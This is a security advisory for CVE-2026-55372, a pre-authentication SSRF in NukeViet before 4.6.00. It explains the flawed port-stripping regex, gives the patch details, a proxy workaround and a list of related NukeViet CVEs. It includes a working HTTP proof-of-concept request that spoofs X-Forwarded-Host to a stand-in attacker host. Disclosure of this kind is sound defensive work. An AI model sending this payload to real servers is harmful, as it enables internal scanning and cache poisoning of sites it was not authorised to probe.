CVE-2026-55372: NukeViet Pre-auth SSRF via X-Forwarded-Host
Any unauthenticated attacker can make a NukeViet server issue HTTP requests to an arbitrary internal or external host by spoofing the X-Forwarded-Host header, enabling blind port scanning and response
The problem
In NukeViet versions before 4.6.00, the function `server_info_update()` in `includes/ini.php` runs before any authentication check. It builds a cURL URL directly from `X-Forwarded-Host` and `X-Forwarded-Proto` headers without validating them against the site's configured domains.
The host sanitiser `standardizeHost()` tried to strip a trailing port with the regex `(\:[0-9]+)$`. Appending a trailing slash (e.g. `127.0.0.1:8081/`) defeats this pattern because the string no longer ends in `:digits`, so the full `host:port/` value reaches cURL.
The result is a blind, pre-authentication SSRF usable for internal host and port discovery, and for poisoning the site's cached server-response headers.
Proof of concept
A working proof-of-concept for CVE-2026-55372 in nukeviet/nukeviet, with the exact payload below.
POST /index.php HTTP/1.1
Host: victim.example.com
X-Forwarded-Proto: http
X-Forwarded-Host: attacker.example.com:8081/
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
__serverInfoUpdate=1The `__serverInfoUpdate=1` POST field triggers `server_info_update()` before authentication. The function calls `curl_init($proto . '://' . $host . NV_BASE_SITEURL . 'index.php?response_headers_detect=1')`, where `$proto` and `$host` come directly from the attacker-controlled headers.
The trailing-slash trick (`host:port/`) bypasses the regex port-stripper in `standardizeHost()`. The regex `(\:[0-9]+)$` only matches when the string ends with `:digits`, so appending `/` causes it to miss the port entirely, letting the full `host:port/` value pass through to cURL.
The fix replaces the regex with `parse_url()` to extract the host component (which ignores the trailing slash and port correctly), restricts `X-Forwarded-Proto` to an `{http, https}` allowlist, and validates the resolved host against the configured `my_domains` list both at the constructor level and again inside `server_info_update()` as defense in depth.
CWE-918 (SSRF) is the primary weakness, with CWE-20 (Improper Input Validation) as a contributing factor.
The fix
Upgrade to NukeViet 4.6.00. The patch rewrites `standardizeHost()` to use `parse_url()` instead of a regex, adds an `{http, https}` allowlist for the forwarded protocol, and gates `server_info_update()` so it only runs when the resolved host matches a configured domain in `my_domains`.
As a temporary workaround, configure your reverse proxy or web server to strip or override any client-supplied `X-Forwarded-Host`, `X-Forwarded-Proto`, and `X-Forwarded-Port` headers before they reach PHP.
Related research
- high · 8.7CVE-2026-54064CVE-2026-54064: NukeViet CMS Multiple Anti-XSS Filter Bypasses Leading to Stored XSS
- high · 8.7CVE-2026-54065CVE-2026-54065: NukeViet Path Traversal to Arbitrary File Deletion
- high · 8.2CVE-2026-48118CVE-2026-48118: NukeViet Unauthenticated Reflected XSS via Base64-Encoded Comment Status Parameter
- high · 8.7CVE-2026-49259CVE-2026-49259: NukeViet CMS Stored XSS via Comment Reply Handler